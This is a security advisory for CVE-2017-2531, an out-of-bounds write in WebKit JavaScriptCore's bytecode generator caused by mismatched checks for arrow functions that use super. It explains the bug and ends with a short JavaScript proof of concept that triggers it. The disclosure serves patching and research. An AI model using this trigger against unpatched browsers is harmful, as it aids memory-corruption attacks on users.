WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

2017.06.01
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope CVE-2017-2531 When a super expression is used in an arrow function, the following code, which generates bytecode, is called. if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) { bool canReuseLexicalEnvironment = isSimpleParameterList; initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment); emitPutThisToArrowFunctionContextScope(); emitPutNewTargetToArrowFunctionContextScope(); emitPutDerivedConstructorToArrowFunctionContextScope(); } Here's |emitPutDerivedConstructorToArrowFunctionContextScope|. void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope() { if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) { if (isSuperUsedInInnerArrowFunction()) { ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister); Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName()); emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization); } } } |emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method. void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment) { ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister); if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) { ... if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) { offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary); functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset))); } ... } ... } But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent. BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded: if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope: if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) { if (isSuperUsedInInnerArrowFunction()) { Note: " || m_codeBlock->isClassContext()". So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write. PoC: let args = new Array(0x10000); args.fill(); args = args.map((_, i) => 'a' + i).join(', '); let gun = eval(`(function () { class A { } class B extends A { constructor(${args}) { () => { ${args}; super(); }; class C { constructor() { } trigger() { (() => { super.x; })(); } } return new C(); } } return new B(); })()`); for (let i = 0; i < 0x10000; i++) gun.trigger(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top